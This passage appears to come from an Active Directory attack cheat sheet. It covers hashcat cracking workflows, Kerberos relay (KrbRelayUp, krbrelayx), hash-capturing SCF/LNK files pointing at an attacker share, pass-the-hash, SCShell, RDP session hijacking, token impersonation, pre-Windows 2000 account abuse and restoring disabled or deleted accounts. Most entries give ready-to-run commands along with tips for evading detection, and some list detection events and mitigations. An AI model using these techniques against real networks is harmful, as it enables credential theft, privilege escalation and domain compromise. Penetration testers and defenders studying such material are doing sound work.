- **Custom wordlist**: CeWL to spider company website for keywords, then hashcat rules to mutate
- **Username-based**: Generate from usernames — `firstname.lastname` → `Firstname2024!` pattern
- **Seasonal patterns**: `Company2024!`, `Winter2024`, `Welcome1`, `Password123` — always try these first

CRACKING

Rules & Mutations

Transform wordlists into millions of candidates

- **OneRuleToRuleThemAll**: Best single rule file — 52K rules, excellent hit rate
- **dive.rule**: Hashcat built-in, 99K rules — more thorough but slower
- **best64.rule**: Hashcat built-in, quick first pass — 64 high-probability mutations
- **Hob0Rules**: Optimized for corporate passwords — good for enterprise environments
- **Command**: `hashcat -m 1000 hashes.txt rockyou.txt -r OneRuleToRuleThemAll.rule`
- **Chain rules**: `-r rule1.rule -r rule2.rule` combines rules (multiplication — use small rule files)
- **Custom rules**: `$2$0$2$4` appends "2024", `^!$1` prepends "!" and appends "1"

CRACKING

Mask & Brute Force Attacks

When wordlists fail, try pattern-based attacks

- **Mask syntax**: `?u`=uppercase, `?l`=lowercase, `?d`=digit, `?s`=special, `?a`=all
- **Common patterns**:
 - `?u?l?l?l?l?l?d?d` — "Welcome99" pattern (capital + lowercase + 2 digits)
 - `?u?l?l?l?l?l?l?d?d?s` — "Password12!" pattern
 - `?u?l?l?l?l?l?l?d?d?d?d` — "Company2024" pattern
- **Increment**: `--increment --increment-min 6 --increment-max 10 ?a?a?a?a?a?a?a?a?a?a`
- **Custom charsets**: `-1 ?l?d -2 !@#$ ?u?l?l?l?l?l?2` for targeted patterns
- **Hybrid**: `hashcat -a 6 wordlist.txt ?d?d?d?d` — wordlist + 4 digit suffix (Password1234)

CRACKING

Cracking Workflow

Efficient order of operations

- **Step 1**: Quick wins — check against NTLM.pw / CrackStation online (NT hashes only)
- **Step 2**: `rockyou` + `best64.rule` — catches ~60% of weak passwords in minutes
- **Step 3**: `rockyou` + `OneRuleToRuleThemAll` — deeper mutations, ~30min
- **Step 4**: Custom wordlist — CeWL company website + seasonal/company name patterns with rules
- **Step 5**: Mask attacks — common corporate password patterns (`?u?l?l?l?l?l?d?d?s`)
- **Step 6**: Large wordlists — CrackStation/Weakpass + rules (hours to days)
- **Step 7**: Combinator — `hashcat -a 1` combines two wordlists (`word1+word2`)
- **NT hashes**: Try everything. **DCC2/AES TGS**: Stop at step 4 — too slow for mask attacks.

CRACKING

Cloud GPU Cracking Infrastructure

Distributed and cloud-based cracking at scale

- **NPK**: Serverless distributed cracking framework — deploys via Terraform / Ansible on AWS spot instances for cost-effective GPU power
- **Hashtopolis**: On-prem distributed agent-based cracking — splits hashes across multiple GPU nodes with centralized management
- **Cloud GPU rental**: `vast.ai` / RunPod / SaladCloud — rent GPU instances on-demand for cracking sessions
- **Cost optimization**: Hybrid on-prem + cloud strategy — use local GPUs for baseline, burst to cloud for large hash sets or slow hash types
- **Spot instances**: AWS/Azure/GCP spot pricing reduces GPU costs by 60-90% — NPK automates spot instance lifecycle
- **Use case**: Large NTDS dumps (thousands of hashes) or slow hash types (DCC2, AES Kerberos) that exceed single-GPU capacity

CRACKING

Wordlist Generation Tools

Targeted wordlist creation for corporate environments

- **Brutas**: Handcrafted targeted wordlists — generates password candidates based on known patterns and organizational context
- **Skweez**: Website scraper for custom wordlists — crawls company websites and extracts terms for password generation
- **WikiRaider**: Wikipedia-based password generation — extracts location names, historical figures, and domain-specific terms
- **Demographic targeting**: Geographic terms (city names, landmarks), sports teams, birth decades, company culture terms
- **Company-specific**: Product names, internal project codenames, office locations, founder names + year patterns
- **Combined approach**: Generate targeted base wordlist → apply hashcat rules for mutations → significantly higher hit rates than generic wordlists

CRACKING

Rainbow Table Attacks

Precomputed hash lookup tables — effective against NTLMv1

- **BigQuery**: Use Google BigQuery for large-scale NTLMv1 rainbow table generation and lookup — leverages cloud compute for massive table operations
- **Rainbowcrackalack**: Dedicated rainbow table generation and lookup tool — GPU-accelerated table creation
- **Effective against NTLMv1**: NTLMv1 uses DES-based encryption — rainbow tables make cracking near-instant
- **Impractical against NTLMv2/AES**: NTLMv2 is salted (challenge-response), AES hashes are computationally expensive — rainbow tables not feasible
- **NTLMv1 downgrade**: If target environment allows NTLMv1 negotiation, capture NTLMv1 hashes with Responder — convert to NT hash via rainbow tables or `crack.sh`
- **Storage**: Full NT hash rainbow tables require multi-TB storage — cloud storage or dedicated NAS recommended

// Additional Techniques

Techniques that don't fit neatly into the above categories but are essential for a complete AD attack toolkit.

PRIVESC

KrbRelayUp

Local privilege escalation via Kerberos relay — domain user → local admin

- Exploits the ability to **coerce local SYSTEM** into authenticating via Kerberos, then relays that auth to LDAP
- **Step 1**: Create a machine account (default: any domain user can create up to 10)
- **Step 2**: Trigger SYSTEM auth locally (DCOM, OXID resolver, etc.)
- **Step 3**: Relay Kerberos auth to LDAP → set `msDS-AllowedToActOnBehalfOfOtherIdentity` (RBCD)
- **Step 4**: Use S4U chain with controlled machine account → get TGS as admin for local host
- `KrbRelayUp.exe relay -Domain dom -CreateNewComputerAccount -ComputerName FAKE$ -ComputerPassword pass`
- `KrbRelayUp.exe spawn -m rbcd -d dom -cn FAKE$ -cp pass`
- **Also supports**: Shadow Credentials (ADCS) and PKCS12 authentication instead of RBCD
- **Requirements**: LDAP signing NOT enforced, `MachineAccountQuota > 0` (or pre-existing machine acct)
- **Mitigation**: Enable LDAP signing, set `MachineAccountQuota` to 0

DELEG

Kerberos Relay (krbrelayx)

Relay Kerberos authentication — the Kerberos equivalent of NTLM relay

- Unlike NTLM relay, Kerberos relay requires **specific conditions**: victim must auth to attacker-controlled SPN
- **DNS takeover**: Register DNS record pointing to attacker → victim's Kerberos auth goes to attacker
- `krbrelayx.py` — the main tool: listens for incoming Kerberos auth and relays it
- `dnstool.py` — add/modify DNS records in AD-integrated DNS (ADIDNS)
- **Unconstrained delegation abuse**: If target has unconstrained delegation, extract TGTs from relayed auth
- **Use cases**: Unconstrained delegation exploitation, ADCS abuse, targeted credential capture
- **Key difference from NTLM relay**: Kerberos tickets are service-specific (SPN-bound), so relay targets are limited

CRED

File Drop Coercion (LNK / SCF / URL)

Drop malicious files on shares → auto-trigger NTLM authentication when browsed

- Windows automatically resolves UNC paths in certain file types when a folder is **browsed** (not clicked)
- **SCF file**: `[Shell] IconFile=\\attacker\icon` — Explorer loads icon path automatically
- **LNK file**: Shortcut with icon pointing to `\\attacker\share` — resolved on browse
- **URL file**: `IconFile=\\attacker\icon` — similar to SCF
- **desktop.ini**: Set folder icon to UNC path — resolved when folder is opened
- `ntlm_theft` — generates all file types automatically
- `Farmer` — creates and manages various coercion file types
- **Receive hashes**: Responder captures NTLMv2 → crack with hashcat 5600 or relay
- **Naming trick**: Prefix with `@` or space to sort first in directory listing

LATERAL

Pass-the-Hash / Pass-the-Ticket / Overpass-the-Hash

The classic fundamentals — reuse captured credentials without knowing plaintext passwords

- **Pass-the-Hash (PtH)**: Use NT hash directly to authenticate via NTLM — no password cracking needed. Works with SMB, WMI, WinRM, RDP (Restricted Admin)

- **Tools:** `impacket (-hashes :NTHASH)`, `NetExec`, `evil-winrm -H`, `mimikatz sekurlsa::pth`
- **Pass-the-Ticket (PtT):** Inject stolen Kerberos TGT/TGS into current session — `Rubeus ptt /ticket:base64`
- **Overpass-the-Hash:** Use NT hash to request a Kerberos TGT — `Rubeus asktgt /user:X /rc4:HASH`. Converts NTLM material to Kerberos for environments blocking NTLM
- **Pass-the-Key:** Same as overpass but using AES256 key instead of RC4/NT hash — less detectable, preferred when available
- **Pass-the-Certificate:** Use stolen ADCS certificate for PKINIT auth — `Certipy auth - pfx cert.pfx`
- **RDP Restricted Admin:** `mstsc /restrictedadmin` allows RDP with just NT hash — must be enabled on target
- **Detection:** Event 4624 Type 9 (PtH), 4768 with unusual encryption types (overpass), anomalous logon patterns

LATERAL

SCShell & Service-Based Execution

Fileless lateral movement via service configuration changes — no new service creation, port 135 only

- **SCShell:** Changes an existing service's binary path via `ChangeServiceConfigA` → starts service → code executes → restores original path
- **No Event 7045:** Unlike `Psexec`, `SCShell` modifies existing services instead of creating new ones — avoids the #1 lateral movement detection
- **Port 135 only:** Uses `DCERPC/SVCCTL` — does not require SMB (445) for file transfer
- **Fileless:** No binary dropped to disk — the service binary path points to a command line (e.g., `cmd /c payload`)
- **XOR encrypted:** Network traffic is XOR-encrypted to avoid signature detection
- **Authentication:** Supports pass-the-hash natively — `SCShell.exe target service user domain hash command`
- **Modified SCShell:** Find stopped services with DLLs NOT in `System32` — replace the DLL and start the service. No config change needed, even stealthier
- **OPSEC:** Event 7040 (service config change) may still fire — but far less monitored than 7045 (new service)

LATERAL

RDP Session Hijacking

Take over disconnected RDP sessions without credentials

- Disconnected RDP sessions remain active in memory with the user's token
- With **SYSTEM privileges** on the RDP host, you can connect to any disconnected session
- `query user` — list active and disconnected sessions
- `tscon TARGET_SESSION_ID /dest:YOUR_SESSION` — switch to target session
- If running as SYSTEM via PsExec `-s: tscon 2 /dest:console`
- **No password needed** — SYSTEM can hijack any session on the machine
- **Useful when:** DA/privileged user has a disconnected session on a compromised host
- **Detection:** Event 4778 (session reconnected), Event 4779 (session disconnected)

PRIVESC

Token Impersonation

Steal or impersonate tokens from running processes → escalate privileges

- Every process/thread in Windows has an **access token** defining its security context
- With `SeImpersonatePrivilege` (service accounts, IIS, MSSQL) → impersonate any token
- `elevate_pid_bof`: BOF that steals a process token by PID and spawns a new process under that token — inline, no fork & run
- `incognito` (Meterpreter) — `list_tokens / impersonate_token "DOMAIN\Admin"`
- **Cobalt Strike**: `steal_token PID to impersonate, rev2self to revert. make_token` for credential-based impersonation
- `GodPotato / JuicyPotato / SweetPotato` — `SeImpersonate` → SYSTEM
- `PrintSpoofer` — `SeImpersonate` → SYSTEM via Spooler pipe
- `RunasCs`: `Runas` replacement with PTH support (dev branch) — create process with alternate credentials
- **Delegation tokens**: Users logged in interactively — can be fully impersonated
- **Impersonation tokens**: Network logons — limited to local resource access
- **OPSEC**: Token theft is local — no network traffic, no new logon events. One of the quietest escalation techniques
- **Requirement**: `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege`

CRED PRIVESC

Pre-Windows 2000 Computer Account Abuse

Machine accounts created with "Pre-Windows 2000" checkbox have predictable passwords → authenticate as machine → lateral movement / domain compromise

- **The vulnerability:** When a computer account is created with *"Assign this computer account as a pre-Windows 2000 computer"* checked (or via certain automated provisioning), the **password is set to the machine name in lowercase** (e.g., WORKSTATION01\$ → password: workstation01)
- **Why it persists:** The password is only changed when the machine actually joins the domain and performs its first password rotation — if the machine never joins (staged accounts, decommissioned hosts, provisioning errors), the predictable password remains forever
- **Pre-Windows 2000 Compatible Access group:** Members of this group (often includes "Authenticated Users" or "Everyone" by default) can perform **anonymous LDAP enumeration** — list users, groups, computers without any credentials
- **Enumeration:** pre2k unauth — scan for pre2k accounts without credentials (anonymous LDAP bind)
- pre2k auth -d corp.local -u user -p pass — authenticated enumeration of pre-Windows 2000 computer accounts
- netexec ldap DC -u " " -p " --pre2k — anonymous enumeration of pre2k accounts via LDAP
- **Authentication:** getTGT.py corp.local/WORKSTATION01\$ -dc-ip DC_IP (password: workstation01) — request TGT for the machine account
- **Exploitation paths once authenticated as machine account:**
 - 1. **Silver Ticket:** Forge service tickets for services running on that host
 - 2. **RBCD:** If you have GenericWrite on another computer, set RBCD → S4U chain → admin access
 - 3. **S4U2Self:** If the account has constrained delegation configured, use S4U2Self + S4U2Proxy to impersonate any user
 - 4. **Credential relay:** Use the machine account for NTLM relay attacks to other services
 - 5. **LAPS:** Machine accounts can read their own LAPS password — if LAPS is deployed, you get local admin on that host
- **Mass exploitation:** Organizations with automated provisioning may have hundreds of pre2k accounts with predictable passwords — one script to authenticate them all
- **OPSEC:** Machine account authentication generates **Event 4624 Type 3 and 4768 (TGT request)** — blends with normal machine auth, very low detection risk
- **Detection:** Monitor for TGT requests from machine accounts that haven't performed machine password rotation (pwdLastSet matches creation date)
- **Mitigation:** Audit all computer accounts where pwdLastSet equals whenCreated; force password rotation or delete unused pre-staged accounts; remove "Everyone" and "Authenticated Users" from Pre-Windows 2000 Compatible Access group

ACL PRIVESC

The Walking Dead — Disabled Object Abuse

Disabled/forgotten AD accounts with residual ACLs → re-enable → privilege escalation

- Disabled AD accounts are often **not deleted** — they retain their group memberships, ACLs, and attributes
- Other principals may still have **inbound ACL relationships** (GenericAll, GenericWrite, WriteDACL) pointing to disabled accounts
- If you have sufficient DACL permissions on a disabled account, you can **re-enable it**
- **Attack:** Find disabled privileged account → verify you have GenericAll/WriteDACL → re-enable → authenticate as that user
- LazarusWakeUp (Python) — identifies disabled objects and analyzes inbound ACL relationships
- LazarusWakeUp find-all — discover all disabled objects with exploitable ACLs
- LazarusWakeUp enable -t targetUser — re-enable the disabled account
- Also works with **disabled computer accounts** — same principle applies
- **Why overlooked?** BloodHound marks disabled accounts differently — most attackers skip them entirely
- **OPSEC:** Re-enabling triggers **Event ID 4722** (user account enabled) — detectable with Sigma rules
- **Mitigation:** Delete disabled accounts instead of just disabling them, audit ACLs on disabled objects regularly

Why does this work? Disabling an account only flips the ACCOUNTDISABLE flag in userAccountControl. All ACLs, group memberships, SPNs, and attributes remain intact. The "dead" account is still fully wired into AD's permission graph — it just can't authenticate. Re-enabling it brings all those privileges back to life instantly.

ACL PRIVESC

AD Recycle Bin — Deleted Object Exploitation

Restore deleted AD objects to recover privileges, group memberships, and credentials

- AD Recycle Bin (Windows Server 2008 R2+) preserves **all attributes** of deleted objects for 180 days
- Deleted objects retain: group memberships, SID History, ACL entries, description fields, custom attributes
- **Object lifecycle:** Deleted (attributes preserved, 180 days) → Tombstoned (most attributes stripped, SID History retained) → Recycled (unrecoverable)
- **Enumerate deleted objects:** Use LDAP control OID 1.2.840.113556.1.4.2064
- `bloodyAD get search -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)' --attr name`
- `bloodyAD get writable --include-del` — find deleted objects you have write access to

- bloodyAD set restore 'S-1-5-21-...-1104' — restore deleted object with all attributes
- **Escalation vectors:** Restored object regains privileged group memberships, SID History granting admin rights, ACL entries on critical objects
- **Credential harvesting:** Deleted objects may contain cleartext passwords in description/info fields
- **Requirements:** LIST_CHILD on Deleted Objects container + Restore Tombstoned control access right
- **Detection:** Event **5138** (directory service object undeleted), audit Directory Service Changes
- **Limitation:** SharpHound/BloodHound CE currently cannot enumerate deleted objects